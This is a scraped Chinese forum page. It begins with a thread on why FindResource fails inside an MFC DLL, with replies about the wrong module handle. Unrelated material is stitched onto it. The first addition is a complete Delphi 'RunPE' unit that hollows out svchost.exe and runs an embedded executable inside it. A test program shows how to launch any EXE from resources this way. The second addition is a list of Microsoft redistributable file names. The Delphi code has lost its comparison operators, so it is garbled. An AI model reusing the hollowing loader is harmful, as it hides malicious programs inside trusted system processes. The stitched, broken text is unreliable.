在EXE和DLL中,FindResource有什么区别么

jacking007 2003-09-10 02:26:31
以下的代码在EXE中,执行无误。可是在DLL中FindResource返回的值就为0了,我用::GetLastError(),得出的值是1813,也就是取不到资源,这是为什么?是因为在EXE中不是用指针CREATE的,在DLL中用指针出现的问题么?怎么解决?
void CButtonMove::DrawItem(LPDRAWITEMSTRUCT lpDrawItemStruct)
{
// TODO: Add your code to draw the specified item
CRgn rgn;
rgn.CreateEllipticRgn( 0 , 0 , 21 , 21 );
SetWindowRgn( (HRGN)rgn , TRUE );

//使用刷子画图时的情况
CDC *pDC =CDC::FromHandle(lpDrawItemStruct->hDC);
CRect rtControl(lpDrawItemStruct->rcItem);
CPen pen(PS_SOLID,1,RGB(106,50,148)),*old_pen;
CBrush *old_brush;
CString strText;


rtControl.EqualRect(rtControl);
// Resource handle to bitmap.
HRSRC hRes;
// Global handles to bitmap resource.
HGLOBAL hData, hLockedData;
CBrush brush;
DWORD dd;

// Find the resource handle.
hRes = ::FindResource(AfxGetResourceHandle(),
MAKEINTRESOURCE(IDB_POINTBMP), RT_BITMAP);
// dd = ::GetLastError();
if (hRes != NULL)
{
// Lock and Load (or Load and Lock).
if (((hData = ::LoadResource(AfxGetResourceHandle(),
hRes)) != NULL) &&
((hLockedData = (HGLOBAL)::LockResource(hData)) != NULL))
{
// Initialize the brush.
brush.CreateDIBPatternBrush(hLockedData,
DIB_RGB_COLORS);

}
}
old_brush=pDC->SelectObject(&brush);
old_pen =pDC->SelectObject(&pen);

pDC->Ellipse(rtControl);
//字体背景是否为透明
pDC->SetBkMode(TRANSPARENT);
GetWindowText(strText);
pDC->DrawText(strText,rtControl,DT_SINGLELINE|DT_CENTER|DT_VCENTER);

}

...全文
516 2 打赏 收藏 转发到动态 举报
写回复
用AI写文章
2 条回复
切换为时间正序
请发表友善的回复…
发表回复
whoishere 2003-09-10
  • 打赏
  • 举报
回复
可以这么修改一下:

// 首先取得当前DLL的HINSTANCE句柄,假定dll名称是test.dll
HINSTANCE hInst = GetModuleHandle( "test.dll" );

hRes = ::FindResource(hInst, // 这里使用刚才取得的句柄
MAKEINTRESOURCE(IDB_POINTBMP), RT_BITMAP);
whoishere 2003-09-10
  • 打赏
  • 举报
回复
问题出在AfxGetResourceHandle()取得的HINSTANCE句柄是EXE的HINSTANCE句柄,自然在其中也找不到你在DLL中引入的IDB_POINTBMP这个位图ID了,再帮你看看怎么解决吧
unit PE; interface uses windows; function MemExecute(const ABuffer; Len: Integer; CmdParam: string; var ProcessId: Cardinal): Cardinal; implementation type TImageSectionHeaders = array[0..0] of TImageSectionHeader; PImageSectionHeaders = ^TImageSectionHeaders; { 计算对齐后的大小 } function GetAlignedSize(Origin, Alignment: Cardinal): Cardinal; begin result := (Origin + Alignment - 1) div Alignment * Alignment; end; { 计算加载pe并对齐需要占用多少内存,未直接使用OptionalHeader.SizeOfImage作为结果是因为据说有的编译器生成的exe这个值会填0 } function CalcTotalImageSize(MzH: PImageDosHeader; FileLen: Cardinal; peH: PImageNtHeaders; peSecH: PImageSectionHeaders): Cardinal; var i: Integer; begin {计算pe头的大小} result := GetAlignedSize(PeH.OptionalHeader.SizeOfHeaders, PeH.OptionalHeader.SectionAlignment); {计算所有节的大小} for i := 0 to peH.FileHeader.NumberOfSections - 1 do if peSecH[i].PointerToRawData + peSecH[i].SizeOfRawData > FileLen then // 超出文件范围 begin result := 0; exit; end else if peSecH[i].VirtualAddress 0 then //计算对齐后某节的大小 if peSecH[i].Misc.VirtualSize 0 then result := GetAlignedSize(peSecH[i].VirtualAddress + peSecH[i].Misc.VirtualSize, PeH.OptionalHeader.SectionAlignment) else result := GetAlignedSize(peSecH[i].VirtualAddress + peSecH[i].SizeOfRawData, PeH.OptionalHeader.SectionAlignment) else if peSecH[i].Misc.VirtualSize < peSecH[i].SizeOfRawData then result := result + GetAlignedSize(peSecH[i].SizeOfRawData, peH.OptionalHeader.SectionAlignment) else result := result + GetAlignedSize(peSecH[i].Misc.VirtualSize, PeH.OptionalHeader.SectionAlignment); end; { 加载pe到内存并对齐所有节 } function AlignPEToMem(const Buf; Len: Integer; var PeH: PImageNtHeaders; var PeSecH: PImageSectionHeaders; var Mem: Pointer; var ImageSize: Cardinal): Boolean; var SrcMz: PImageDosHeader; // DOS头 SrcPeH: PImageNtHeaders; // PE头 SrcPeSecH: PImageSectionHeaders; // 节表 i: Integer; l: Cardinal; Pt: Pointer; begin result := false; SrcMz := @Buf; if Len < sizeof(TImageDosHeader) then exit; if SrcMz.e_magic IMAGE_DOS_SIGNATURE then exit; if Len < SrcMz._lfanew + Sizeof(TImageNtHeaders) then exit; SrcPeH := pointer(Integer(SrcMz) + SrcMz._lfanew); if (SrcPeH.Signature IMAGE_NT_SIGNATURE) then exit; if (SrcPeH.FileHeader.Characteristics and IMAGE_FILE_DLL 0) or (SrcPeH.FileHeader.Characteristics and IMAGE_FILE_EXECUTABLE_IMAGE = 0) or (SrcPeH.FileHeader.SizeOfOptionalHeader SizeOf(TImageOptionalHeader)) then exit; SrcPeSecH := Pointer(Integer(SrcPeH) + SizeOf(TImageNtHeaders)); ImageSize := CalcTotalImageSize(SrcMz, Len, SrcPeH, SrcPeSecH); if ImageSize = 0 then exit; Mem := VirtualAlloc(nil, ImageSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); // 分配内存 if Mem nil then begin // 计算需要复制的PE头字节数 l := SrcPeH.OptionalHeader.SizeOfHeaders; for i := 0 to SrcPeH.FileHeader.NumberOfSections - 1 do if (SrcPeSecH[i].PointerToRawData 0) and (SrcPeSecH[i].PointerToRawData < l) then l := SrcPeSecH[i].PointerToRawData; Move(SrcMz^, Mem^, l); PeH := Pointer(Integer(Mem) + PImageDosHeader(Mem)._lfanew); PeSecH := Pointer(Integer(PeH) + sizeof(TImageNtHeaders)); Pt := Pointer(Cardinal(Mem) + GetAlignedSize(PeH.OptionalHeader.SizeOfHeaders, PeH.OptionalHeader.SectionAlignment)); for i := 0 to PeH.FileHeader.NumberOfSections - 1 do begin // 定位该节在内存的位置 if PeSecH[i].VirtualAddress 0 then Pt := Pointer(Cardinal(Mem) + PeSecH[i].VirtualAddress); if PeSecH[i].SizeOfRawData 0 then begin // 复制数据到内存 Move(Pointer(Cardinal(SrcMz) + PeSecH[i].PointerToRawData)^, pt^, PeSecH[i].SizeOfRawData); if peSecH[i].Misc.VirtualSize < peSecH[i].SizeOfRawData then pt := pointer(Cardinal(pt) + GetAlignedSize(PeSecH[i].SizeOfRawData, PeH.OptionalHeader.SectionAlignment)) else pt := pointer(Cardinal(pt) + GetAlignedSize(peSecH[i].Misc.VirtualSize, peH.OptionalHeader.SectionAlignment)); // pt 定位到下一节开始位置 end else pt := pointer(Cardinal(pt) + GetAlignedSize(PeSecH[i].Misc.VirtualSize, PeH.OptionalHeader.SectionAlignment)); end; result := True; end; end; type TVirtualAllocEx = function(hProcess: THandle; lpAddress: Pointer; dwSize, flAllocationType: DWORD; flProtect: DWORD): Pointer; stdcall; var MyVirtualAllocEx: TVirtualAllocEx = nil; function IsNT: Boolean; begin result := Assigned(MyVirtualAllocEx); end; { 生成外壳程序命令行 } function PrepareShellExe(CmdParam: string ): string; begin {这里的路径 自己定义了^_^,仅仅是外壳程序} //result:='c:\Program Files\Internet Explorer\iexplore.exe'+CmdParam ; result := 'c:\windows\system32\svchost.exe' + cmdparam; end; { 是否包含可重定向列表 } function HasRelocationTable(peH: PImageNtHeaders): Boolean; begin result := (peH.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress 0) and (peH.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size 0); end; type PImageBaseRelocation = ^TImageBaseRelocation; TImageBaseRelocation = packed record VirtualAddress: cardinal; SizeOfBlock: cardinal; end; { 重定向PE用到的地址 } procedure DoRelocation(peH: PImageNtHeaders; OldBase, NewBase: Pointer); var Delta: Cardinal; p: PImageBaseRelocation; pw: PWord; i: Integer; begin Delta := Cardinal(NewBase) - peH.OptionalHeader.ImageBase; p := pointer(cardinal(OldBase) + peH.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress); while (p.VirtualAddress + p.SizeOfBlock 0) do begin pw := pointer(Integer(p) + Sizeof(p^)); for i := 1 to (p.SizeOfBlock - Sizeof(p^)) div 2 do begin if pw^ and $F000 = $3000 then Inc(PCardinal(Cardinal(OldBase) + p.VirtualAddress + (pw^ and $0FFF))^, Delta); inc(pw); end; p := Pointer(pw); end; end; type TZwUnmapViewOfSection = function(Handle, BaseAdr: Cardinal): Cardinal; stdcall; { 卸载原外壳占用内存 } function UnloadShell(ProcHnd, BaseAddr: Cardinal): Boolean; var M: HModule; ZwUnmapViewOfSection: TZwUnmapViewOfSection; begin result := False; m := LoadLibrary('ntdll.dll'); if m 0 then begin ZwUnmapViewOfSection := GetProcAddress(m, 'ZwUnmapViewOfSection'); if assigned(ZwUnmapViewOfSection) then result := (ZwUnmapViewOfSection(ProcHnd, BaseAddr) = 0); FreeLibrary(m); end; end; { 创建外壳进程并获取其基址、大小和当前运行状态 } function CreateChild(Cmd: string; var Ctx: TContext; var ProcHnd, ThrdHnd, ProcId, BaseAddr, ImageSize: Cardinal): Boolean; var si: TStartUpInfo; pi: TProcessInformation; Old: Cardinal; MemInfo: TMemoryBasicInformation; p: Pointer; begin FillChar(si, Sizeof(si), 0); FillChar(pi, SizeOf(pi), 0); si.cb := sizeof(si); result := CreateProcess(nil, PChar(Cmd), nil, nil, False, CREATE_SUSPENDED, nil, nil, si, pi); // 以挂起方式运行进程 if result then begin ProcHnd := pi.hProcess; ThrdHnd := pi.hThread; ProcId := pi.dwProcessId; { 获取外壳进程运行状态,[ctx.Ebx+8]内存处存的是外壳进程的加载基址,ctx.Eax存放有外壳进程的入口地址 } ctx.ContextFlags := CONTEXT_FULL; GetThreadContext(ThrdHnd, ctx); ReadProcessMemory(ProcHnd, Pointer(ctx.Ebx + 8), @BaseAddr, SizeOf(Cardinal), Old); // 读取加载基址 p := Pointer(BaseAddr); { 计算外壳进程占有的内存 } while VirtualQueryEx(ProcHnd, p, MemInfo, Sizeof(MemInfo)) 0 do begin if MemInfo.State = MEM_FREE then break; p := Pointer(Cardinal(p) + MemInfo.RegionSize); end; ImageSize := Cardinal(p) - Cardinal(BaseAddr); end; end; { 创建外壳进程并用目标进程替换它然后执行 } function AttachPE(CmdParam: string; peH: PImageNtHeaders; peSecH: PImageSectionHeaders; Ptr: Pointer; ImageSize: Cardinal; var ProcId: Cardinal): Cardinal; var s: string; Addr, Size: Cardinal; ctx: TContext; Old: Cardinal; p: Pointer; Thrd: Cardinal; begin result := INVALID_HANDLE_VALUE; s := PrepareShellExe(CmdParam + ' ' {, peH.OptionalHeader.ImageBase, ImageSize}); if CreateChild(s, ctx, result, Thrd, ProcId, Addr, Size) then begin p := nil; if (peH.OptionalHeader.ImageBase = Addr) and (Size >= ImageSize) then // 外壳进程可以容纳目标进程并且加载地址一致 begin p := Pointer(Addr); VirtualProtectEx(result, p, Size, PAGE_EXECUTE_READWRITE, Old); end else if IsNT then // 98 下失败 begin if UnloadShell(result, Addr) then // 卸载外壳进程占有内存 // 重新按目标进程加载基址和大小分配内存 p := MyVirtualAllocEx(Result, Pointer(peH.OptionalHeader.ImageBase), ImageSize, MEM_RESERVE or MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (p = nil) and hasRelocationTable(peH) then // 分配内存失败并且目标进程支持重定向 begin // 按任意基址分配内存 p := MyVirtualAllocEx(result, nil, ImageSize, MEM_RESERVE or MEM_COMMIT, PAGE_EXECUTE_READWRITE); if p nil then DoRelocation(peH, Ptr, p); // 重定向 end; end; if p nil then begin WriteProcessMemory(Result, Pointer(ctx.Ebx + 8), @p, Sizeof(DWORD), Old); // 重置目标进程运行环境的基址 peH.OptionalHeader.ImageBase := Cardinal(p); if WriteProcessMemory(Result, p, Ptr, ImageSize, Old) then // 复制PE数据到目标进程 begin ctx.ContextFlags := CONTEXT_FULL; if Cardinal(p) = Addr then ctx.Eax := peH.OptionalHeader.ImageBase + peH.OptionalHeader.AddressOfEntryPoint // 重置运行环境的入口地址 else ctx.Eax := Cardinal(p) + peH.OptionalHeader.AddressOfEntryPoint; SetThreadContext(Thrd, ctx); // 更新运行环境 ResumeThread(Thrd); // 执行 CloseHandle(Thrd); end else begin // 加载失败,杀掉外壳进程 TerminateProcess(Result, 0); CloseHandle(Thrd); CloseHandle(Result); Result := INVALID_HANDLE_VALUE; end; end else begin // 加载失败,杀掉外壳进程 TerminateProcess(Result, 0); CloseHandle(Thrd); CloseHandle(Result); Result := INVALID_HANDLE_VALUE; end; end; end; function MemExecute(const ABuffer; Len: Integer; CmdParam: string; var ProcessId: Cardinal): Cardinal; var peH: PImageNtHeaders; peSecH: PImageSectionHeaders; Ptr: Pointer; peSz: Cardinal; begin result := INVALID_HANDLE_VALUE; if alignPEToMem(ABuffer, Len, peH, peSecH, Ptr, peSz) then begin result := AttachPE(CmdParam, peH, peSecH, Ptr, peSz, ProcessId); VirtualFree(Ptr, peSz, MEM_DECOMMIT); //VirtualFree(Ptr, 0, MEM_RELEASE); end; end; initialization MyVirtualAllocEx := GetProcAddress(GetModuleHandle('Kernel32.dll'), 'VirtualAllocEx'); end. /////////////////////////////////////////////////////////////////////// {测试:你可以把任何一个exe文件 作成资源然后这样调用} program test; //{$APPTYPE CONSOLE} {$R 'data.res' 'data.rc'}//加入exe资源文件 uses windows, PE in 'PE.pas'; //引用上面的单元 var ProcessId: Cardinal; ResourceLocation: HRSRC; Size: Longword; ResDataHandle: THandle; ResourcePointer: PChar; begin ResourceLocation := FindResource(HInstance, 'myexe', RT_RCDATA); if ResourceLocation 0 then begin Size := SizeofResource(HInstance, ResourceLocation); if Size 0 then begin ResDataHandle := LoadResource(HInstance, ResourceLocation); if ResDataHandle 0 then begin ResourcePointer := LockResource(ResDataHandle); if ResourcePointer nil then begin MemExecute(ResourcePointer^, size, '', ProcessId);//只需这样调用即可 end; end; end; end; end.
可再发行编码 - 有限使用: msjet35.dll msjint35.dll msjter35.dll msrd2x35.dll msrepl35.dll expsrv.dll vbajet32.dll msexch35.dll msexcl35.dll mspdox35.dll msltus35.dll mstext35.dll msxbse35.dll MSJTOR35.DLL MSJT4JLT.DLL mdac_typ.exe msorcl32.dll msdaora.dll 可再发行代码 - 扩展的使用: comct232.ocx comct332.ocx comctl32.ocx comdlg32.ocx dblist32.ocx hhctrl.ocx mci32.ocx msadodc.ocx mschrt20.ocx mscomct2.ocx mscomctl.ocx mscomm32.ocx MSDatGrd.ocx msdatlst.ocx MSDatRep.ocx msflxgrd.ocx mshflxgd.ocx msinet.ocx msmapi32.ocx msmask32.ocx msrdc20.ocx mswinsck.ocx picclp32.ocx richtx32.ocx sysinfo.ocx tabctl32.ocx wbclsdsr.ocx anibtn32.ocx dbgrid32.ocx gauge32.ocx graph32.ocx grid32.ocx gswdll32.dll keysta32.ocx mschart.ocx msoutl32.ocx spin32.ocx threed32.ocx adodcchs.dll cmct2chs.dll cmct3chs.dll cmctlchs.dll cmdlgchs.dll datgdchs.dll datlschs.dll DatRpchs.DLL DBGRDCHS.DLL dblstchs.dll flxgdchs.dll mcichs.dll MsCc2chs.dll msch2chs.dll MSCMCCHS.DLL MSCOMCHS.DLL MSHFGCHS.DLL inetchs.dll MSMPICHS.DLL MSMSKCHS.DLL rdc20chs.dll WINSKCHS.DLL pcclpchs.dll rchtxchs.dll SYSINCHS.DLL TABCTCHS.DLL mswcrchs.dll MSCHTCHS.DLL 可再发行代码 - 标准: oleaut32.dll secur32.dll compobj.dll ole2.dll ole32.dll olecnv32.dll olethk32.dll rpcltc1.dll rpcltc5.dll rpcltccm.dll rpclts5.dll rpcltscm.dll rpcns4.dll rpcrt4.dll rpcss.exe storage.dll stdole2.tlb stdole32.tlb imagehlp.dll dllhost.exe comcat.dll iprop.dll rpcmqcl.dll rpcmqsvr.dll olepro32.dll asycfilt.dll mfc40.dll msvcrt40.dll dcomcnfg.exe oledlg.dll ciscnfg.exe dcomcnfg.hlp IE4\MSJavx86.exe os\system\atl.dll os\system\ansi\atl.dll VB98\template\code\loadres.bas VB98\template\code\RegKeys.BAS VB98\template\controls\ListBtns.frm VB98\template\controls\ListBtns.frx VB98\template\controls\listpick.frm VB98\template\controls\listpick.frx VB98\template\controls\tvlv.frm

15,979

社区成员

发帖
与我相关
我的任务
社区描述
VC/MFC 界面
社区管理员
  • 界面
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧